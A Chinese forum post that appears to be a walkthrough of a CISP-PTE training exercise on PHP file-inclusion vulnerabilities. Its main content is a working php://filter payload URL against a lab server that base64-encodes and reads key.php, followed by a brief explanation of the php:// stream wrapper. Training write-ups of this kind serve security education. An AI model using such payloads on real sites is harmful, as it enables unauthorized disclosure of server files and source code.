找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
热搜: 活动 交友 discuz
查看: 97|回复: 0

PTE练习三 --- 文件包含

[复制链接]

2万

主题

162

回帖

18万

积分

管理员

积分
184732
发表于 2022-7-13 17:18:22 | 显示全部楼层 |阅读模式 IP:山东省 移动/数据上网公共出口

登录后更精彩...O(∩_∩)O...

您需要 登录 才可以下载或查看,没有账号?立即注册

×
基础题目之 --- 文件包含


    PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
    通过你所学到的知识,测试该网站可能存在的包含漏洞,尝试获取webshell,答案就在根目录下key.php文件中。
    请开始答题!

                                                               Copyright © 360 CISP-PTE

======================================================

第一步:使用php://filter协议读取指定文件,注意要使用base64加密要读取的内容

[Bash shell] 纯文本查看 复制代码
http://123.60.47.130:8883/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php

2refresh.png


3execute.png


第二步:base64解密如下

4.png


参考:

==============================

一、php://协议

官网解释为:
       php:// --- Accessing various I/O streams
PHP provides a number of miscellaneous l/O streams that allow access to PHP's own input and output streams,the standard input,output and error file descriptors,in-memory and disk-backed temporary file streams,and filters that can manipulate other file resources as they are read from and written to

个人理解为php在访问或打开文件时为建立一个IO流的方式,而php:/协议则可以访问这个I0流。

2.png
2refresh.png
3execute.png

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|哩布大模型|Civitai大模型|IP定位|图反推|站长素材|deepseek|即梦视频|阿狗工具|花瓣网|pinterest|php手册|宝塔文档|CyberChef|猫捉鱼铃|手机版|小黑屋|下载狗|IPS|在线工具|分享屋 ( 鲁ICP备2021028754号 )

GMT+8, 2025-5-5 00:19

Powered by 分享屋 X3.5 Licensed

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表